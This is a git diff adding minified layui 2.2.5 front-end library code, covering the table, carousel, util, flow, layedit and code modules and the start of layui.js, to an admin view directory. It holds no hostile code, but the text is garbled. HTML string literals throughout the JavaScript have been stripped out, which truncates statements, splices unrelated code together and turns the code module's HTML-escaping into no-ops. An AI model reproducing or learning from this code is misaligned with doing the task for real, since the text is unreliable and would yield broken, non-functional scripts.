        '),a.renderForm(),i&&l.close(i)}})}else if(n.data&&n.data.constructor===Array){var s={},u=e*n.limit-n.limit;s[r.dataName]=n.data.concat().splice(u,n.limit),s[r.countName]=n.data.length,a.renderData(s,e,n.data.length),d(),"function"==typeof n.done&&n.done(s,e,s[r.countName])}},S.prototype.eachCols=function(e){var i=t.extend(!0,[],this.config.cols),a=[],l=0;layui.each(i,function(e,t){layui.each(t,function(t,n){if(n.colspan>1){var o=0;l++,n.CHILD_COLS=[],layui.each(i[e+1],function(e,t){t.PARENT_COL||o==n.colspan||(t.PARENT_COL=l,n.CHILD_COLS.push(t),o+=t.colspan>1?t.colspan:1)})}n.PARENT_COL||a.push(n)})});var n=function(t){layui.each(t||a,function(t,i){return i.CHILD_COLS?n(i.CHILD_COLS):void e(t,i)})};n()},S.prototype.renderData=function(e,n,o,r){var c=this,s=c.config,u=e[s.response.dataName]||[],y=[],p=[],m=[],v=function(){return!r&&c.sortKey?c.sort(c.sortKey.field,c.sortKey.sort,!0):(layui.each(u,function(e,a){var l=[],o=[],u=[],h=e+s.limit*(n-1)+1;0!==a.length&&(r||(a[d.config.indexName]=e),c.eachCols(function(e,n){var r=n.field||e,f=a[r];c.getColElem(c.layHeader,r);if(void 0!==f&&null!==f||(f=""),!(n.colspan>1)){var y=['",'
        '+function(){var e=t.extend(!0,{LAY_INDEX:h},a);return"checkbox"===n.type?'":"numbers"===n.type?h:n.toolbar?i(t(n.toolbar).html()||"").render(e):n.templet?function(){return"function"==typeof n.templet?n.templet(e):i(t(n.templet).html()||String(f)).render(e)}():f}(),"
        "].join("");l.push(y),n.fixed&&"right"!==n.fixed&&o.push(y),"right"===n.fixed&&u.push(y)}}),y.push(''+l.join("")+""),p.push(''+o.join("")+""),m.push(''+u.join("")+""))}),c.layBody.scrollTop(0),c.layMain.find("."+f).remove(),c.layMain.find("tbody").html(y.join("")),c.layFixLeft.find("tbody").html(p.join("")),c.layFixRight.find("tbody").html(m.join("")),c.renderForm(),c.syncCheckAll(),c.haveInit?c.scrollPatch():setTimeout(function(){c.scrollPatch()},50),c.haveInit=!0,void l.close(c.tipsIndex))};return c.key=s.id||s.index,d.cache[c.key]=u,c.layPage[0===u.length&&1==n?"addClass":"removeClass"](h),r?v():0===u.length?(c.renderForm(),c.layFixed.remove(),c.layMain.find("tbody").html(""),c.layMain.find("."+f).remove(),c.layMain.append('
        '+s.text.none+"
        ")):(v(),void(s.page&&(s.page=t.extend({elem:"layui-table-page"+s.index,count:o,limit:s.limit,limits:s.limits||[10,20,30,40,50,60,70,80,90],groups:3,layout:["prev","page","next","skip","count","limit"],prev:'',next:'',jump:function(e,t){t||(c.page=e.curr,s.limit=e.limit,c.pullData(e.curr,c.loading()))}},s.page),s.page.count=o,a.render(s.page))))},S.prototype.getColElem=function(e,t){var i=this,a=i.config;return e.eq(0).find(".laytable-cell-"+(a.index+"-"+t)+":eq(0)")},S.prototype.renderForm=function(e){n.render(e,"LAY-table-"+this.index)},S.prototype.sort=function(e,i,a,l){var n,r,c=this,u={},h=c.config,f=h.elem.attr("lay-filter"),y=d.cache[c.key];"string"==typeof e&&c.layHeader.find("th").each(function(i,a){var l=t(this),o=l.data("field");if(o===e)return e=l,n=o,!1});try{var n=n||e.data("field");if(c.sortKey&&!a&&n===c.sortKey.field&&i===c.sortKey.sort)return;var p=c.layHeader.find("th .laytable-cell-"+h.index+"-"+n).find(w);c.layHeader.find("th").find(w).removeAttr("lay-sort"),p.attr("lay-sort",i||null),c.layFixed.find("th")}catch(m){return o.error("Table modules: Did not match to field")}c.sortKey={field:n,sort:i},"asc"===i?r=layui.sort(y,n):"desc"===i?r=layui.sort(y,n,!0):(r=layui.sort(y,d.config.indexName),delete c.sortKey),u[h.response.dataName]=r,c.renderData(u,c.page,c.count,!0),l&&layui.event.call(e,s,"sort("+f+")",{field:n,type:i})},S.prototype.loading=function(){var e=this,t=e.config;if(t.loading&&t.url)return l.msg("数据请求中",{icon:16,offset:[e.elem.offset().top+e.elem.height()/2-35-T.scrollTop()+"px",e.elem.offset().left+e.elem.width()/2-90-T.scrollLeft()+"px"],time:-1,anim:-1,fixed:!1})},S.prototype.setCheckData=function(e,t){var i=this,a=i.config,l=d.cache[i.key];l[e]&&l[e].constructor!==Array&&(l[e][a.checkName]=t)},S.prototype.syncCheckAll=function(){var e=this,t=e.config,i=e.layHeader.find('input[name="layTableCheckbox"]'),a=function(i){return e.eachCols(function(e,a){"checkbox"===a.type&&(a[t.checkName]=i)}),i};i[0]&&(d.checkStatus(e.key).isAll?(i[0].checked||(i.prop("checked",!0),e.renderForm("checkbox")),a(!0)):(i[0].checked&&(i.prop("checked",!1),e.renderForm("checkbox")),a(!1)))},S.prototype.getCssRule=function(e,t){var i=this,a=i.elem.find("style")[0],l=a.sheet||a.styleSheet||{},n=l.cssRules||l.rules;layui.each(n,function(a,l){if(l.selectorText===".laytable-cell-"+i.index+"-"+e)return t(l),!0})},S.prototype.fullSize=function(){var e,t=this,i=t.config,a=i.height;t.fullHeightGap&&(a=T.height()-t.fullHeightGap,a<135&&(a=135),t.elem.css("height",a)),e=parseFloat(a)-parseFloat(t.layHeader.height())-1,i.toolbar&&(e-=t.layTool.outerHeight()),i.page&&(e=e-t.layPage.outerHeight()-1),t.layMain.css("height",e)},S.prototype.getScrollWidth=function(e){var t=0;return e?t=e.offsetWidth-e.clientWidth:(e=document.createElement("div"),e.style.width="100px",e.style.height="100px",e.style.overflowY="scroll",document.body.appendChild(e),t=e.offsetWidth-e.clientWidth,document.body.removeChild(e)),t},S.prototype.scrollPatch=function(){var e=this,i=e.layMain.children("table"),a=e.layMain.width()-e.layMain.prop("clientWidth"),l=e.layMain.height()-e.layMain.prop("clientHeight"),n=e.getScrollWidth(e.layMain[0]),o=i.outerWidth()-e.layMain.width();if(e.autoColNums&&o<5&&!e.scrollPatchWStatus){var r=e.layHeader.eq(0).find("thead th:last-child"),d=r.data("field");e.getCssRule(d,function(t){var i=t.style.width||r.outerWidth();t.style.width=parseFloat(i)-n-o+"px",e.layMain.height()-e.layMain.prop("clientHeight")>0&&(t.style.width=parseFloat(t.style.width)-1+"px"),e.scrollPatchWStatus=!0})}if(a&&l){if(!e.elem.find(".layui-table-patch")[0]){var c=t('
        ');c.find("div").css({width:a}),e.layHeader.eq(0).find("thead tr").append(c)}}else e.layHeader.eq(0).find(".layui-table-patch").remove();var s=e.layMain.height(),u=s-l;e.layFixed.find(m).css("height",i.height()>u?u:"auto"),e.layFixRight[o>0?"removeClass":"addClass"](h),e.layFixRight.css("right",a-1)},S.prototype.events=function(){var e,a=this,n=a.config,o=t("body"),c={},u=a.layHeader.find("th"),h=".layui-table-cell",f=n.elem.attr("lay-filter");u.on("mousemove",function(e){var i=t(this),a=i.offset().left,l=e.clientX-a;i.attr("colspan")>1||i.data("unresize")||c.resizeStart||(c.allowResize=i.width()-l<=10,o.css("cursor",c.allowResize?"col-resize":""))}).on("mouseleave",function(){t(this);c.resizeStart||o.css("cursor","")}).on("mousedown",function(e){var i=t(this);if(c.allowResize){var l=i.data("field");e.preventDefault(),c.resizeStart=!0,c.offset=[e.clientX,e.clientY],a.getCssRule(l,function(e){var t=e.style.width||i.outerWidth();c.rule=e,c.ruleWidth=parseFloat(t),c.minWidth=i.data("minwidth")||n.cellMinWidth})}}),M.on("mousemove",function(t){if(c.resizeStart){if(t.preventDefault(),c.rule){var i=c.ruleWidth+t.clientX-c.offset[0];i');d[0].value=e.data("content")||o.text(),e.find("."+N)[0]||e.append(d),d.focus()}else o.find(".layui-form-switch,.layui-form-checkbox")[0]||Math.round(o.prop("scrollWidth"))>Math.round(o.outerWidth())&&(a.tipsIndex=l.tips(['
        ',o.html(),"
        ",''].join(""),o[0],{tips:[3,""],time:-1,anim:-1,maxWidth:r.ios||r.android?300:600,isOutAnim:!1,skin:"layui-table-tips",success:function(e,t){e.find(".layui-table-tips-c").on("click",function(){l.close(t)})}}))}),a.layBody.on("click","*[lay-event]",function(){var e=t(this),l=e.parents("tr").eq(0).data("index"),n=a.layBody.find('tr[data-index="'+l+'"]'),o="layui-table-click",r=d.cache[a.key][l];layui.event.call(this,s,"tool("+f+")",{data:d.clearCacheKey(r),event:e.attr("lay-event"),tr:n,del:function(){d.cache[a.key][l]=[],n.remove(),a.scrollPatch()},update:function(e){e=e||{},layui.each(e,function(e,l){if(e in r){var o,d=n.children('td[data-field="'+e+'"]');r[e]=l,a.eachCols(function(t,i){i.field==e&&i.templet&&(o=i.templet)}),d.children(h).html(o?i(t(o).html()||l).render(r):l),d.data("content",l)}})}}),n.addClass(o).siblings("tr").removeClass(o)}),a.layMain.on("scroll",function(){var e=t(this),i=e.scrollLeft(),n=e.scrollTop();a.layHeader.scrollLeft(i),a.layFixed.find(m).scrollTop(n),l.close(a.tipsIndex)}),T.on("resize",function(){a.fullSize(),a.scrollPatch()})},d.init=function(e,i){i=i||{};var a=this,l=t(e?'table[lay-filter="'+e+'"]':u+"[lay-data]"),n="Table element property lay-data configuration item has a syntax error: ";return l.each(function(){var a=t(this),l=a.attr("lay-data");try{l=new Function("return "+l)()}catch(r){o.error(n+l)}var c=[],s=t.extend({elem:this,cols:[],data:[],skin:a.attr("lay-skin"),size:a.attr("lay-size"),even:"string"==typeof a.attr("lay-even")},d.config,i,l);e&&a.hide(),a.find("thead>tr").each(function(e){s.cols[e]=[],t(this).children().each(function(i){var a=t(this),l=a.attr("lay-data");try{l=new Function("return "+l)()}catch(r){return o.error(n+l)}var d=t.extend({title:a.text(),colspan:a.attr("colspan")||0,rowspan:a.attr("rowspan")||0},l);d.colspan<2&&c.push(d),s.cols[e].push(d)})}),a.find("tbody>tr").each(function(e){var i=t(this),a={};i.children("td").each(function(e,i){var l=t(this),n=l.data("field");if(n)return a[n]=l.html()}),layui.each(c,function(e,t){var l=i.children("td").eq(e);a[t.field]=l.html()}),s.data[e]=a}),d.render(s)}),a},d.checkStatus=function(e){var t=0,i=0,a=[],l=d.cache[e]||[];return layui.each(l,function(e,l){return l.constructor===Array?void i++:void(l[d.config.checkName]&&(t++,a.push(d.clearCacheKey(l))))}),{data:a,isAll:!!l.length&&t===l.length-i}},c.config={},d.reload=function(e,i){var a=c.config[e];return i=i||{},a?(i.data&&i.data.constructor===Array&&delete a.data,d.render(t.extend(!0,{},a,i))):o.error("The ID option was not found in the table instance")},d.render=function(e){var t=new S(e);return c.call(t)},d.clearCacheKey=function(e){return e=t.extend({},e),delete e[d.config.checkName],delete e[d.config.indexName],e},d.init(),e(s,d)});layui.define("jquery",function(e){"use strict";var i=layui.$,n=(layui.hint(),layui.device(),{config:{},set:function(e){var n=this;return n.config=i.extend({},n.config,e),n},on:function(e,i){return layui.onevent.call(this,t,e,i)}}),t="carousel",a="layui-this",l=">*[carousel-item]>*",o="layui-carousel-left",r="layui-carousel-right",d="layui-carousel-prev",s="layui-carousel-next",u="layui-carousel-arrow",c="layui-carousel-ind",m=function(e){var t=this;t.config=i.extend({},t.config,n.config,e),t.render()};m.prototype.config={width:"600px",height:"280px",full:!1,arrow:"hover",indicator:"inside",autoplay:!0,interval:3e3,anim:"",trigger:"click",index:0},m.prototype.render=function(){var e=this,n=e.config;n.elem=i(n.elem),n.elem[0]&&(e.elemItem=n.elem.find(l),n.index<0&&(n.index=0),n.index>=e.elemItem.length&&(n.index=e.elemItem.length-1),n.interval<800&&(n.interval=800),n.full?n.elem.css({position:"fixed",width:"100%",height:"100%",zIndex:9999}):n.elem.css({width:n.width,height:n.height}),n.elem.attr("lay-anim",n.anim),e.elemItem.eq(n.index).addClass(a),e.elemItem.length<=1||(e.indicator(),e.arrow(),e.autoplay(),e.events()))},m.prototype.reload=function(e){var n=this;clearInterval(n.timer),n.config=i.extend({},n.config,e),n.render()},m.prototype.prevIndex=function(){var e=this,i=e.config,n=i.index-1;return n<0&&(n=e.elemItem.length-1),n},m.prototype.nextIndex=function(){var e=this,i=e.config,n=i.index+1;return n>=e.elemItem.length&&(n=0),n},m.prototype.addIndex=function(e){var i=this,n=i.config;e=e||1,n.index=n.index+e,n.index>=i.elemItem.length&&(n.index=0)},m.prototype.subIndex=function(e){var i=this,n=i.config;e=e||1,n.index=n.index-e,n.index<0&&(n.index=i.elemItem.length-1)},m.prototype.autoplay=function(){var e=this,i=e.config;i.autoplay&&(e.timer=setInterval(function(){e.slide()},i.interval))},m.prototype.arrow=function(){var e=this,n=e.config,t=i(['",'"].join(""));n.elem.attr("lay-arrow",n.arrow),n.elem.find("."+u)[0]&&n.elem.find("."+u).remove(),n.elem.append(t),t.on("click",function(){var n=i(this),t=n.attr("lay-type");e.slide(t)})},m.prototype.indicator=function(){var e=this,n=e.config,t=e.elemInd=i(['
          ',function(){var i=[];return layui.each(e.elemItem,function(e){i.push("")}),i.join("")}(),"
        "].join(""));n.elem.attr("lay-indicator",n.indicator),n.elem.find("."+c)[0]&&n.elem.find("."+c).remove(),n.elem.append(t),"updown"===n.anim&&t.css("margin-top",-(t.height()/2)),t.find("li").on("hover"===n.trigger?"mouseover":n.trigger,function(){var t=i(this),a=t.index();a>n.index?e.slide("add",a-n.index):a',e.bar1?'
      • '+c[0]+"
      • ":"",e.bar2?'
      • '+c[1]+"
      • ":"",'
      • '+c[2]+"
      • ",""].join("")),s=g.find("."+r),u=function(){var t=n.scrollTop();t>=e.showHeight?i||(s.show(),i=1):i&&(s.hide(),i=0)};t("."+a)[0]||("object"==typeof e.css&&g.css(e.css),l.append(g),u(),g.find("li").on("click",function(){var i=t(this),o=i.attr("lay-type");"top"===o&&t("html,body").animate({scrollTop:0},200),e.click&&e.click.call(this,o)}),n.on("scroll",function(){clearTimeout(o),o=setTimeout(function(){u()},100)}))},countdown:function(e,t,i){var o=this,a="function"==typeof t,r=new Date(e).getTime(),n=new Date(!t||a?(new Date).getTime():t).getTime(),l=r-n,c=[Math.floor(l/864e5),Math.floor(l/36e5)%24,Math.floor(l/6e4)%60,Math.floor(l/1e3)%60];a&&(i=t);var g=setTimeout(function(){o.countdown(e,n+1e3,i)},1e3);return i&&i(l>0?c:[0,0,0,0],t,g),l<=0&&clearTimeout(g),g},timeAgo:function(e,t){var i=this,o=[[],[]],a=(new Date).getTime()-new Date(e).getTime();return a>6912e5?(a=new Date(e),o[0][0]=i.digit(a.getFullYear(),4),o[0][1]=i.digit(a.getMonth()+1),o[0][2]=i.digit(a.getDate()),t||(o[1][0]=i.digit(a.getHours()),o[1][1]=i.digit(a.getMinutes()),o[1][2]=i.digit(a.getSeconds())),o[0].join("-")+" "+o[1].join(":")):a>=864e5?(a/1e3/60/60/24|0)+"天前":a>=36e5?(a/1e3/60/60|0)+"小时前":a>=12e4?(a/1e3/60|0)+"分钟前":a<0?"未来":"刚刚"},digit:function(e,t){var i="";e=String(e),t=t||2;for(var o=e.length;o
        ';o.prototype.load=function(e){var o,i,n,r,a=this,c=0;e=e||{};var f=l(e.elem);if(f[0]){var m=l(e.scrollElem||document),u=e.mb||50,s=!("isAuto"in e)||e.isAuto,v=e.end||"没有更多了",y=e.scrollElem&&e.scrollElem!==document,d="加载更多",h=l('");f.find(".layui-flow-more")[0]||f.append(h);var p=function(e,t){e=l(e),h.before(e),t=0==t||null,t?h.html(v):h.find("a").html(d),i=t,o=null,n&&n()},g=function(){o=!0,h.find("a").html(t),"function"==typeof e.done&&e.done(++c,p)};if(g(),h.find("a").on("click",function(){l(this);i||o||g()}),e.isLazyimg)var n=a.lazyimg({elem:e.elem+" img",scrollElem:e.scrollElem});return s?(m.on("scroll",function(){var e=l(this),t=e.scrollTop();r&&clearTimeout(r),i||(r=setTimeout(function(){var i=y?e.height():l(window).height(),n=y?e.prop("scrollHeight"):document.documentElement.scrollHeight;n-t-i<=u&&(o||g())},100))}),a):a}},o.prototype.lazyimg=function(e){var o,t=this,i=0;e=e||{};var n=l(e.scrollElem||document),r=e.elem||"img",a=e.scrollElem&&e.scrollElem!==document,c=function(e,l){var o=n.scrollTop(),r=o+l,c=a?function(){return e.offset().top-n.offset().top+o}():e.offset().top;if(c>=o&&c<=r&&!e.attr("src")){var m=e.attr("lay-src");layui.img(m,function(){var l=t.lazyimg.elem.eq(i);e.attr("src",m).removeAttr("lay-src"),l[0]&&f(l),i++})}},f=function(e,o){var f=a?(o||n).height():l(window).height(),m=n.scrollTop(),u=m+f;if(t.lazyimg.elem=l(r),e)c(e,f);else for(var s=0;su)break}};if(f(),!o){var m;n.on("scroll",function(){var e=l(this);m&&clearTimeout(m),m=setTimeout(function(){f(null,e)},50)}),o=!0}return f},e("flow",new o)});layui.define(["layer","form"],function(t){"use strict";var e=layui.$,i=layui.layer,a=layui.form,l=(layui.hint(),layui.device()),n="layedit",o="layui-show",r="layui-disabled",c=function(){var t=this;t.index=0,t.config={tool:["strong","italic","underline","del","|","left","center","right","|","link","unlink","face","image"],hideTool:[],height:280}};c.prototype.set=function(t){var i=this;return e.extend(!0,i.config,t),i},c.prototype.on=function(t,e){return layui.onevent(n,t,e)},c.prototype.build=function(t,i){i=i||{};var a=this,n=a.config,r="layui-layedit",c=e("#"+t),u="LAY_layedit_"+ ++a.index,d=c.next("."+r),y=e.extend({},n,i),f=function(){var t=[],e={};return layui.each(y.hideTool,function(t,i){e[i]=!0}),layui.each(y.tool,function(i,a){C[a]&&!e[a]&&t.push(C[a])}),t.join("")}(),m=e(['
        ','
        '+f+"
        ",'
        ','',"
        ","
        "].join(""));return l.ie&&l.ie<8?c.removeClass("layui-hide").addClass(o):(d[0]&&d.remove(),s.call(a,m,c[0],y),c.addClass("layui-hide").after(m),a.index)},c.prototype.getContent=function(t){var e=u(t);if(e[0])return d(e[0].document.body.innerHTML)},c.prototype.getText=function(t){var i=u(t);if(i[0])return e(i[0].document.body).text()},c.prototype.setContent=function(t,i,a){var l=u(t);l[0]&&(a?e(l[0].document.body).append(i):e(l[0].document.body).html(i),layedit.sync(t))},c.prototype.sync=function(t){var i=u(t);if(i[0]){var a=e("#"+i[1].attr("textarea"));a.val(d(i[0].document.body.innerHTML))}},c.prototype.getSelection=function(t){var e=u(t);if(e[0]){var i=m(e[0].document);return document.selection?i.text:i.toString()}};var s=function(t,i,a){var l=this,n=t.find("iframe");n.css({height:a.height}).on("load",function(){var o=n.contents(),r=n.prop("contentWindow"),c=o.find("head"),s=e([""].join("")),u=o.find("body");c.append(s),u.attr("contenteditable","true").css({"min-height":a.height}).html(i.value||""),y.apply(l,[r,n,i,a]),g.call(l,r,t,a)})},u=function(t){var i=e("#LAY_layedit_"+t),a=i.prop("contentWindow");return[a,i]},d=function(t){return 8==l.ie&&(t=t.replace(/<.+>/g,function(t){return t.toLowerCase()})),t},y=function(t,a,n,o){var r=t.document,c=e(r.body);c.on("keydown",function(t){var e=t.keyCode;if(13===e){var a=m(r),l=p(a),n=l.parentNode;if("pre"===n.tagName.toLowerCase()){if(t.shiftKey)return;return i.msg("请暂时用shift+enter"),!1}r.execCommand("formatBlock",!1,"

        ")}}),e(n).parents("form").on("submit",function(){var t=c.html();8==l.ie&&(t=t.replace(/<.+>/g,function(t){return t.toLowerCase()})),n.value=t}),c.on("paste",function(e){r.execCommand("formatBlock",!1,"

        "),setTimeout(function(){f.call(t,c),n.value=c.html()},100)})},f=function(t){var i=this;i.document;t.find("*[style]").each(function(){var t=this.style.textAlign;this.removeAttribute("style"),e(this).css({"text-align":t||""})}),t.find("table").addClass("layui-table"),t.find("script,link").remove()},m=function(t){return t.selection?t.selection.createRange():t.getSelection().getRangeAt(0)},p=function(t){return t.endContainer||t.parentElement().childNodes[0]},v=function(t,i,a){var l=this.document,n=document.createElement(t);for(var o in i)n.setAttribute(o,i[o]);if(n.removeAttribute("text"),l.selection){var r=a.text||i.text;if("a"===t&&!r)return;r&&(n.innerHTML=r),a.pasteHTML(e(n).prop("outerHTML")),a.select()}else{var r=a.toString()||i.text;if("a"===t&&!r)return;r&&(n.innerHTML=r),a.deleteContents(),a.insertNode(n)}},h=function(t,i){var a=this.document,l="layedit-tool-active",n=p(m(a)),o=function(e){return t.find(".layedit-tool-"+e)};i&&i[i.hasClass(l)?"removeClass":"addClass"](l),t.find(">i").removeClass(l),o("unlink").addClass(r),e(n).parents().each(function(){var t=this.tagName.toLowerCase(),e=this.style.textAlign;"b"!==t&&"strong"!==t||o("b").addClass(l),"i"!==t&&"em"!==t||o("i").addClass(l),"u"===t&&o("u").addClass(l),"strike"===t&&o("d").addClass(l),"p"===t&&("center"===e?o("center").addClass(l):"right"===e?o("right").addClass(l):o("left").addClass(l)),"a"===t&&(o("link").addClass(l),o("unlink").removeClass(r))})},g=function(t,a,l){var n=t.document,o=e(n.body),c={link:function(i){var a=p(i),l=e(a).parent();b.call(o,{href:l.attr("href"),target:l.attr("target")},function(e){var a=l[0];"A"===a.tagName?a.href=e.url:v.call(t,"a",{target:e.target,href:e.url,text:e.url},i)})},unlink:function(t){n.execCommand("unlink")},face:function(e){x.call(this,function(i){v.call(t,"img",{src:i.src,alt:i.alt},e)})},image:function(a){var n=this;layui.use("upload",function(o){var r=l.uploadImage||{};o.render({url:r.url,method:r.type,elem:e(n).find("input")[0],done:function(e){0==e.code?(e.data=e.data||{},v.call(t,"img",{src:e.data.src,alt:e.data.title},a)):i.msg(e.msg||"上传失败")}})})},code:function(e){k.call(o,function(i){v.call(t,"pre",{text:i.code,"lay-lang":i.lang},e)})},help:function(){i.open({type:2,title:"帮助",area:["600px","380px"],shadeClose:!0,shade:.1,skin:"layui-layer-msg",content:["http://www.layui.com/about/layedit/help.html","no"]})}},s=a.find(".layui-layedit-tool"),u=function(){var i=e(this),a=i.attr("layedit-event"),l=i.attr("lay-command");if(!i.hasClass(r)){o.focus();var u=m(n);u.commonAncestorContainer;l?(n.execCommand(l),/justifyLeft|justifyCenter|justifyRight/.test(l)&&n.execCommand("formatBlock",!1,"

        "),setTimeout(function(){o.focus()},10)):c[a]&&c[a].call(this,u),h.call(t,s,i)}},d=/image/;s.find(">i").on("mousedown",function(){var t=e(this),i=t.attr("layedit-event");d.test(i)||u.call(this)}).on("click",function(){var t=e(this),i=t.attr("layedit-event");d.test(i)&&u.call(this)}),o.on("click",function(){h.call(t,s),i.close(x.index)})},b=function(t,e){var l=this,n=i.open({type:1,id:"LAY_layedit_link",area:"350px",shade:.05,shadeClose:!0,moveType:1,title:"超链接",skin:"layui-layer-msg",content:['

          ','
        • ','','
          ','',"
          ","
        • ",'
        • ','','
          ','",'","
          ","
        • ",'
        • ','','',"
        • ","
        "].join(""),success:function(t,n){var o="submit(layedit-link-yes)";a.render("radio"),t.find(".layui-btn-primary").on("click",function(){i.close(n),l.focus()}),a.on(o,function(t){i.close(b.index),e&&e(t.field)})}});b.index=n},x=function(t){var a=function(){var t=["[微笑]","[嘻嘻]","[哈哈]","[可爱]","[可怜]","[挖鼻]","[吃惊]","[害羞]","[挤眼]","[闭嘴]","[鄙视]","[爱你]","[泪]","[偷笑]","[亲亲]","[生病]","[太开心]","[白眼]","[右哼哼]","[左哼哼]","[嘘]","[衰]","[委屈]","[吐]","[哈欠]","[抱抱]","[怒]","[疑问]","[馋嘴]","[拜拜]","[思考]","[汗]","[困]","[睡]","[钱]","[失望]","[酷]","[色]","[哼]","[鼓掌]","[晕]","[悲伤]","[抓狂]","[黑线]","[阴险]","[怒骂]","[互粉]","[心]","[伤心]","[猪头]","[熊猫]","[兔子]","[ok]","[耶]","[good]","[NO]","[赞]","[来]","[弱]","[草泥马]","[神马]","[囧]","[浮云]","[给力]","[围观]","[威武]","[奥特曼]","[礼物]","[钟]","[话筒]","[蜡烛]","[蛋糕]"],e={};return layui.each(t,function(t,i){e[i]=layui.cache.dir+"images/face/"+t+".gif"}),e}();return x.hide=x.hide||function(t){"face"!==e(t.target).attr("layedit-event")&&i.close(x.index)},x.index=i.tips(function(){var t=[];return layui.each(a,function(e,i){t.push('
      • '+e+'
      • ')}),'
          '+t.join("")+"
        "}(),this,{tips:1,time:0,skin:"layui-box layui-util-face",maxWidth:500,success:function(l,n){l.css({marginTop:-4,marginLeft:-10}).find(".layui-clear>li").on("click",function(){t&&t({src:a[this.title],alt:this.title}),i.close(n)}),e(document).off("click",x.hide).on("click",x.hide)}})},k=function(t){var e=this,l=i.open({type:1,id:"LAY_layedit_code",area:"550px",shade:.05,shadeClose:!0,moveType:1,title:"插入代码",skin:"layui-layer-msg",content:['
          ','
        • ','','
          ','","
          ","
        • ",'
        • ','','
          ','',"
          ","
        • ",'
        • ','','',"
        • ","
        "].join(""),success:function(l,n){var o="submit(layedit-code-yes)";a.render("select"),l.find(".layui-btn-primary").on("click",function(){i.close(n),e.focus()}),a.on(o,function(e){i.close(k.index),t&&t(e.field)})}});k.index=l},C={html:'',strong:'',italic:'',underline:'',del:'',"|":'',left:'',center:'',right:'',link:'',unlink:'',face:'',image:'',code:'',help:''},w=new c;t(n,w)});layui.define("jquery",function(e){"use strict";var a=layui.$,l="http://www.layui.com/doc/modules/code.html";e("code",function(e){var t=[];e=e||{},e.elem=a(e.elem||".layui-code"),e.about=!("about"in e)||e.about,e.elem.each(function(){t.push(this)}),layui.each(t.reverse(),function(t,i){var c=a(i),o=c.html();(c.attr("lay-encode")||e.encode)&&(o=o.replace(/&(?!#?[a-zA-Z0-9]+;)/g,"&").replace(//g,">").replace(/'/g,"'").replace(/"/g,""")),c.html('
        1. '+o.replace(/[\r\t\n]+/g,"
        2. ")+"
        "),c.find(">.layui-code-h3")[0]||c.prepend('

        '+(c.attr("lay-title")||e.title||"code")+(e.about?'layui.code':"")+"

        ");var d=c.find(">.layui-code-ol");c.addClass("layui-box layui-code-view"),(c.attr("lay-skin")||e.skin)&&c.addClass("layui-code-"+(c.attr("lay-skin")||e.skin)),(d.find("li").length/100|0)>0&&d.css("margin-left",(d.find("li").length/100|0)+"px"),(c.attr("lay-height")||e.height)&&d.css("max-height",c.attr("lay-height")||e.height)})})}).addcss("modules/code.css","skincodecss"); \ No newline at end of file diff --git a/application/view/Admin/layui/layui.js b/application/view/Admin/layui/layui.js new file mode 100644 index 0000000..8faa576 --- /dev/null +++ b/application/view/Admin/layui/layui.js @@ -0,0 +1,2 @@ +/** layui-v2.2.5 MIT License By https://www.layui.com */ + ;!function(e){"use strict";var t=document,n={modules:{},status:{},timeout:10,event:{}},o=function(){this.v="2.2.5"},r=function(){var e=t.currentScript?t.currentScript.src:function(){for(var e,n=t.scripts,o=n.length-1,r=o;r>0;r--)if("interactive"===n[r].readyState){e=n[r].src;break}return e||n[o].src}();return e.substring(0,e.lastIndexOf("/")+1)}(),a=function(t){e.console&&console.error&&console.error("Layui hint: "+t)},i="undefined"!=typeof opera&&"[object Opera]"===opera.toString(),u={layer:"modules/layer",laydate:"modules/laydate",laypage:"modules/laypage",laytpl:"modules/laytpl",layim:"modules/layim",layedit:"modules/layedit",form:"modules/form",upload:"modules/upload",tree:"modules/tree",table:"modules/table",element:"modules/element",util:"modules/util",flow:"modules/flow",carousel:"modules/carousel",code:"modules/code",jquery:"modules/jquery",mobile:"modules/mobile","layui.all":"../layui.all"};o.prototype.cache=n,o.prototype.define=function(e,t){var o=this,r="function"==typeof e,a=function(){var e=function(e,t){layui[e]=t,n.status[e]=!0};return"function"==typeof t&&t(function(o,r){e(o,r),n.callback[o]=function(){t(e)}}),this};return r&&(t=e,e=[]),layui["layui.all"]||!layui["layui.all"]&&layui["layui.mobile"]?a.call(o):(o.use(e,a),o)},o.prototype.use=function(e,o,l){function s(e,t){var o="PLaySTATION 3"===navigator.platform?/^complete$/:/^(complete|loaded)$/;("load"===e.type||o.test((e.currentTarget||e.srcElement).readyState))&&(n.modules[f]=t,d.removeChild(v),function r(){return++m>1e3*n.timeout/4?a(f+" is not a valid module"):void(n.status[f]?c():setTimeout(r,4))}())}function c(){l.push(layui[f]),e.length>1?y.use(e.slice(1),o,l):"function"==typeof o&&o.apply(layui,l)}var y=this,p=n.dir=n.dir?n.dir:r,d=t.getElementsByTagName("head")[0];e="string"==typeof e?[e]:e,window.jQuery&&jQuery.fn.on&&(y.each(e,function(t,n){"jquery"===n&&e.splice(t,1)}),layui.jquery=layui.$=jQuery);var f=e[0],m=0;if(l=l||[],n.host=n.host||(p.match(/\/\/([\s\S]+?)\//)||["//"+location.host+"/"])[0],0===e.length||layui["layui.all"]&&u[f]||!layui["layui.all"]&&layui["layui.mobile"]&&u[f])return c(),y;if(n.modules[f])!function g(){return++m>1e3*n.timeout/4?a(f+" is not a valid module"):void("string"==typeof n.modules[f]&&n.status[f]?c():setTimeout(g,4))}();else{var v=t.createElement("script"),h=(u[f]?p+"lay/":/^\{\/\}/.test(y.modules[f])?"":n.base||"")+(y.modules[f]||f)+".js";h=h.replace(/^\{\/\}/,""),v.async=!0,v.charset="utf-8",v.src=h+function(){var e=n.version===!0?n.v||(new Date).getTime():n.version||"";return e?"?v="+e:""}(),d.appendChild(v),!v.attachEvent||v.attachEvent.toString&&v.attachEvent.toString().indexOf("[native code")<0||i?v.addEventListener("load",function(e){s(e,h)},!1):v.attachEvent("onreadystatechange",function(e){s(e,h)}),n.modules[f]=h}return y},o.prototype.getStyle=function(t,n){var o=t.currentStyle?t.currentStyle:e.getComputedStyle(t,null);return o[o.getPropertyValue?"getPropertyValue":"getAttribute"](n)},o.prototype.link=function(e,o,r){var i=this,u=t.createElement("link"),l=t.getElementsByTagName("head")[0];"string"==typeof o&&(r=o);var s=(r||e).replace(/\.|\//g,""),c=u.id="layuicss-"+s,y=0;return u.rel="stylesheet",u.href=e+(n.debug?"?v="+(new Date).getTime():""),u.media="all",t.getElementById(c)||l.appendChild(u),"function"!=typeof o?i:(function p(){return++y>1e3*n.timeout/100?a(e+" 